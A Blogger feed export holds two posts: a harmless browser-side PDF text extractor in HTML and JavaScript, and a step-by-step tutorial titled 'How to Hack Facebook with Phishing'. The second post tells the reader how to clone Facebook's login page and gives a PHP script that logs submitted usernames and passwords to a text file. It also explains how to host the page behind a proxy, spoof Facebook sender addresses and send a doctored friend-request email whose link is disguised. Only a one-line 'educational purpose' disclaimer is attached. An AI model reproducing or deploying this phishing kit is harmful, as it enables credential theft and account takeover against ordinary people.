tag:blogger.com,1999:blog-54919654778698291082024-03-19T01:48:10.867-07:00Aarav Oberoy singhTech Hacker | Exploring the Boundless Horizons of Cyber Space | Ethical & Curious | Cybersecurity Advocate | Unraveling the Code, Securing the Future đđUnknownnoreply@blogger.comBlogger2125tag:blogger.com,1999:blog-5491965477869829108.post-26657999363908314872023-07-22T09:38:00.008-07:002023-07-22T13:53:55.448-07:00Pdf to Text Extractor by Aarav<!DOCTYPE html>
<html>
<head>
<title>PDF Text Extractor</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<style>
body {
font-family: Arial, sans-serif;
margin: 20px;
}
input[type="file"] {
display: none;
}
label {
cursor: pointer;
padding: 10px 15px;
background-color: #3498db;
color: #fff;
border-radius: 5px;
transition: background-color 0.2s;
display: inline-block;
margin-bottom: 10px;
}
/* Add animation to the "Select PDF File(s)" button */
label {
animation: pulseAnimation 1s infinite;
}
@keyframes pulseAnimation {
0% {
transform: scale(1);
}
50% {
transform: scale(1.05);
}
100% {
transform: scale(1);
}
}
label:hover {
background-color: #2980b9;
}
#result {
margin-top: 20px;
}
/* Add animations for each PDF file result */
.pdf-result {
margin-bottom: 20px;
border: 1px solid #ccc;
border-radius: 5px;
padding: 10px;
transition: box-shadow 0.2s;
opacity: 0; /* Set initial opacity to 0 for fade-in animation */
}
.pdf-result:hover {
box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);
}
.pdf-name {
font-size: 16px;
color: #3498db;
margin: 5px 0;
}
.pdf-text {
white-space: pre-wrap; /* Preserve line breaks from the extracted text */
line-height: 1.5; /* Adjust line spacing for readability */
}
.material-icons {
vertical-align: middle;
margin-right: 5px;
}
/* Add fade-in animation to the PDF results */
.pdf-result.animate {
animation: fadeInAnimation 0.5s ease-in-out;
animation-fill-mode: forwards;
}
@keyframes fadeInAnimation {
0% {
opacity: 0;
}
100% {
opacity: 1;
}
}
/* Add extracting effect animation to the "Extract Text" button */
.extracting {
position: relative;
}
.extracting::after {
content: "";
display: block;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%) rotate(0deg);
border: 4px solid rgba(255, 255, 255, 0.3);
border-radius: 50%;
width: 30px;
height: 30px;
border-top: 4px solid #3498db;
animation: extractingAnimation 1.5s linear infinite;
opacity: 0;
}
@keyframes extractingAnimation {
0% {
transform: translate(-50%, -50%) rotate(0deg);
}
100% {
transform: translate(-50%, -50%) rotate(360deg);
}
}
/* Add premium animation to the "Extract Text" button */
.extract-text-btn {
background-color: #2ecc71; /* Green color */
color: #fff; /* Text color */
border-radius: 5px;
padding: 10px 15px;
font-size: 16px;
border: none;
cursor: pointer;
transition: transform 0.2s, box-shadow 0.2s;
position: relative;
overflow: hidden;
}
.extract-text-btn:before {
content: "";
position: absolute;
top: 0;
left: 0;
width: 0;
height: 100%;
background-color: rgba(255, 255, 255, 0.3);
transition: width 0.5s;
}
.extract-text-btn:hover {
transform: scale(1.05);
}
.extract-text-btn:hover:before {
width: 100%;
}
</style>
<script src="https://mozilla.github.io/pdf.js/build/pdf.js"></script>
</head>
<body>
<input type="file" id="pdfFileInput" accept=".pdf" multiple />
<label for="pdfFileInput"><i class="material-icons">cloud_upload</i> Select PDF File(s)</label>
<button type="button" onclick="extractTextFromFiles()" class="extracting">
<span class="extract-text-btn">
<i class="material-icons">text_snippet</i> Extract Text
</span>
</button>
<div id="result"></div>
<script>
function extractTextFromFiles() {
var fileInput = document.getElementById("pdfFileInput");
var files = fileInput.files;
if (!files || files.length === 0) {
alert("Please select PDF file(s).");
return;
}
var resultDiv = document.getElementById("result");
resultDiv.innerHTML = ""; // Clear previous results
// Helper function to extract text from a single PDF page
function extractTextFromPage(page) {
return page.getTextContent().then(function (textContent) {
var extractedText = "";
textContent.items.forEach(function (textItem) {
extractedText += textItem.str + "\n"; // Add newline character after each line
});
return extractedText;
});
}
// Function to process each PDF file
function processFile(index) {
if (index >= files.length) {
// Add fade-in animation class to the PDF results
var pdfResults = document.querySelectorAll(".pdf-result");
pdfResults.forEach(function (pdfResult) {
pdfResult.classList.add("animate");
});
return; // All files processed, exit
}
var file = files[index];
var fileReader = new FileReader();
fileReader.onload = function () {
var typedArray = new Uint8Array(this.result);
// Load the PDF file
pdfjsLib.getDocument(typedArray).promise.then(function (pdf) {
var numPages = pdf.numPages;
// Extract text from each page
var promises = [];
for (var pageNum = 1; pageNum <= numPages; pageNum++) {
promises.push(pdf.getPage(pageNum).then(extractTextFromPage));
}
// Wait for all promises to resolve
Promise.all(promises).then(function (pageTexts) {
var extractedText = pageTexts.join("\n"); // Combine text from all pages
// Create a separate div for each PDF file's extracted text
var pdfResultDiv = document.createElement("div");
pdfResultDiv.className = "pdf-result";
pdfResultDiv.innerHTML = `
<div class="pdf-name"><i class="material-icons">description</i>${file.name}</div>
<div class="pdf-text">${extractedText}</div>
`;
resultDiv.appendChild(pdfResultDiv);
// Process next file
processFile(index + 1);
});
});
};
fileReader.readAsArrayBuffer(file);
}
// Start processing the files
processFile(0);
}
</script>
</body>
</html>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5491965477869829108.post-85981819224145090272013-07-19T05:11:00.000-07:002023-07-18T13:20:35.185-07:00How to Hack Facebook with Phishing <div dir="ltr" style="text-align: left;" trbidi="on"><span style="background-color: red; color: blue; font-size: large;"><br /></span>
<br />
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Phishing WebPage:</span><br />
Creating webpage which look like any site is described as Phishing. By creating Phishing WebPage, you can make users to believe that it is original website and enter their id and password.</div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Step 1:</span><br />
Go to <a href="http://facebook.com/" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; text-decoration-line: none;">Facebook.com</a><br />
Right click on the white space of the front page. Select âView Page sourceâ.<br />
Copy the code to Notepad.</div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<a href="https://www.blogger.com/null" name="more" style="background: 0px 0px; box-sizing: border-box; color: #f0696a;"></a></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Step2:</span><br />
Now find (Press ctrl +f) for âaction=â in that code.<br />
You fill find the code like this:</div>
<div style="background-color: white; box-sizing: border-box; clear: both; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzJaBS_nG1IzsD3ZkcixAgHlR38UUriD_WeIeE1mATkdbxZf9Zx0JNk2vrC4w_MMDAyBWNG8maWYfPwIhZ7eVPNWPkmUZLxxBhhAxIbx23R8eGT2xBQokA7DmBpatrPnreA_r7n0_NERU/s1600/screen1pf8.png" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; margin-left: 1em; margin-right: 1em; text-decoration-line: none;"><img border="0" height="142" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzJaBS_nG1IzsD3ZkcixAgHlR38UUriD_WeIeE1mATkdbxZf9Zx0JNk2vrC4w_MMDAyBWNG8maWYfPwIhZ7eVPNWPkmUZLxxBhhAxIbx23R8eGT2xBQokA7DmBpatrPnreA_r7n0_NERU/s500/screen1pf8.png" style="border: 0px; box-sizing: border-box; height: auto; max-width: 100%; vertical-align: middle;" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box;">The big red ring that circles the action= you have to change. You have to change it to âaction=ânext.phpâ â. after you have done that, you should change the method (small red circle on the picture) to âgetâ instead of âpostâ, or else it will not work. Save the document as index.html</span></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Step 3:</span><br />
Now we need to create the ânext.phpâ to store the password. so open the notepad and type the following code:</div>
<blockquote style="background-color: white; border-left: 5px solid rgb(238, 238, 238); box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 17.5px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box;">
<<span style="box-sizing: border-box; color: #990000;">?</span>php<br />
header(âLocation: http://www.Facebook.com/login.php â);<br />
$handle = fopen(âpswrds.txtâ, âaâ);<br />
foreach($_<span style="box-sizing: border-box; color: #990000;">POST</span> as $variable => $value) {<br />
fwrite($handle, $variable);<br />
fwrite($handle, â=â);<br />
fwrite($handle, $value);<br />
fwrite($handle, ârnâ);<br />
}<br />
fwrite($handle, ârnâ);<br />
fclose($handle);<br />
exit;<br />
?></div>
</blockquote>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
save this file as ânext.phpâ</div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px;">
<span style="box-sizing: border-box; font-weight: 700;"><span style="box-sizing: border-box; color: #990000;">Update:</span></span> I have updated the php script. Now it is working âŚ! Rectified all the problem and errors.</div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Step 4:</span><br />
open the notepad and just save the file as âpswrds.txtâ without any contents.</div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
Now upload those three files(namely index.html,next.php,pswrds.txt) in any of <span style="box-sizing: border-box;">subdomain Web hosting site.</span><br />
<span style="box-sizing: border-box;">Note: that web hosting service must has php feature.</span><br />
<span style="box-sizing: border-box;">Use one of these sites:</span><span style="box-sizing: border-box;">110mb.com, spam.com justfree.com or 007sites.com. </span><br />
<span style="box-sizing: border-box;"> use this sites through the secure connection sites(so that you can hide your ip address) like: http://flyproxy.com . find best secure connection site.</span><br />
<span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span>
<span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span>
<span style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;">Step 5:</span></span><br />
<span style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;"> </span>create an mail account with facebook keyword like : </span><span style="box-sizing: border-box;"><span style="box-sizing: border-box; color: #cc0000;">FACEBOOK@hotmail.com,Facebook@noreply.com,facebook_welcome@hotmail.com,facebook_friends@gmail.com</span></span></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Step 6 :</span></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
Copy the original Facebook friendship invitation and paste in your mail.<br />
remove the hyperlink from this <span style="box-sizing: border-box;"><a href="http://www.blogger.com/www.facebook.com/n/?reqs.php" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; text-decoration-line: none;">http:/www.facebook.com/n/?reqs.php</a></span><br />
<span style="box-sizing: border-box;"> </span><span style="box-sizing: border-box;">Mark it and push the Add hyperlink button</span><br />
<span style="box-sizing: border-box;"><i style="box-sizing: border-box;"><u style="box-sizing: border-box;">*Updated* </u></i></span><br />
everyone asking doubts about this 6th step. You may get Facebook friendship invitation from Facebook when someone âadd as a friendâ, right? Just copy that mail and paste in compose mail. In that content , you can find this link <span style="box-sizing: border-box;"><a href="http://www.blogger.com/#" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; text-decoration-line: none;">http:/www.facebook.com/n/?reqs.php</a> . Just change the delete the link and create link with same text but link to your site. </span></div>
<div style="background-color: white; box-sizing: border-box; clear: both; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6r2ZAMH2HCh6qHxtHIm8ryogQPezgIsqZAj7C7Rm94_W4QaMRBO7y0KL-wPmRbK1wm3QNjl6Ox-e3AvaA_6NqeY883_PFOvVsZzefyl2F1iaU82TNHtdDxViH97e0ucFzRUxCnhQJAdI/s1600/Phishing+Page+Preventions.png" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; margin-left: 1em; margin-right: 1em; text-decoration-line: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6r2ZAMH2HCh6qHxtHIm8ryogQPezgIsqZAj7C7Rm94_W4QaMRBO7y0KL-wPmRbK1wm3QNjl6Ox-e3AvaA_6NqeY883_PFOvVsZzefyl2F1iaU82TNHtdDxViH97e0ucFzRUxCnhQJAdI/s400/Phishing+Page+Preventions.png" style="border: 0px; box-sizing: border-box; height: auto; max-width: 100%; vertical-align: middle;" width="400" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
</div>
<div style="background-color: white; box-sizing: border-box; clear: both; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWh7KV1cg7IOdwHiTUOMZJ-ys-qZ9t7G2I0eMFKLmTiUMSAxWK2ild1uiKajp_aFYshZOTsyM5W_lo0MJTPAXAf9dgpaUXGaa9NACjdRsB721apOhPuzocHmMWvTcXcMhImcfajiJlAk/s1600/Phishing+Webpage+hacks.png" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; margin-left: 1em; margin-right: 1em; text-decoration-line: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWh7KV1cg7IOdwHiTUOMZJ-ys-qZ9t7G2I0eMFKLmTiUMSAxWK2ild1uiKajp_aFYshZOTsyM5W_lo0MJTPAXAf9dgpaUXGaa9NACjdRsB721apOhPuzocHmMWvTcXcMhImcfajiJlAk/s400/Phishing+Webpage+hacks.png" style="border: 0px; box-sizing: border-box; height: auto; max-width: 100%; vertical-align: middle;" width="400" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
</div>
<div style="background-color: white; box-sizing: border-box; clear: both; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinNkRZbktQZxq83o4JL4v6cwoUdtuM5oCigBsa5swpyEmh1q6ITV0SczLP-6YsKs27WC5JDPY1_9gQwBKLrz9rcQ9st_pEKjXiMoyDtK2oYl7LyAM9_Ak9pl46TTIgT55AdOq3U7ZwQeM/s1600/Website+Attacker.png" style="background: 0px 0px; box-sizing: border-box; color: #f0696a; text-decoration-line: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinNkRZbktQZxq83o4JL4v6cwoUdtuM5oCigBsa5swpyEmh1q6ITV0SczLP-6YsKs27WC5JDPY1_9gQwBKLrz9rcQ9st_pEKjXiMoyDtK2oYl7LyAM9_Ak9pl46TTIgT55AdOq3U7ZwQeM/s1600/Website+Attacker.png" style="border: 0px; box-sizing: border-box; height: auto; max-width: 100%; vertical-align: middle;" width="400" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span>
<span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span>
<span style="box-sizing: border-box;">Add hyperlink button in the red circle. now write your phisher page url in the hyperlink bar that appears after clicking the button. and click add. The hyperlink should still display http:/www.facebook.com/n/?reqs.php<br style="box-sizing: border-box;" />but lead to your phisher page.. </span></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
<span style="box-sizing: border-box; font-weight: 700;">Note:</span><br />
<span style="box-sizing: border-box;">For user to believe change Your phishing web page url with any of free short url sites. </span><br />
<span style="box-sizing: border-box;">Like : co.nr, co.cc,cz.cc </span><br />
<span style="box-sizing: border-box;">This will make users to believe that it is correct url.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px; margin-bottom: 10px;">
</div>
<span style="background-color: red; color: blue; font-size: large;"></span><br />
<div style="background-color: white; box-sizing: border-box; color: #020202; font-family: Roboto, sans-serif; font-size: 14px;">
Donât use this method for hacking others account. This article is for educational purpose only. Here is tips to prevent from Phishing Web page:<br />
<br />
<br />
<br /><br /></div></div>Unknownnoreply@blogger.com6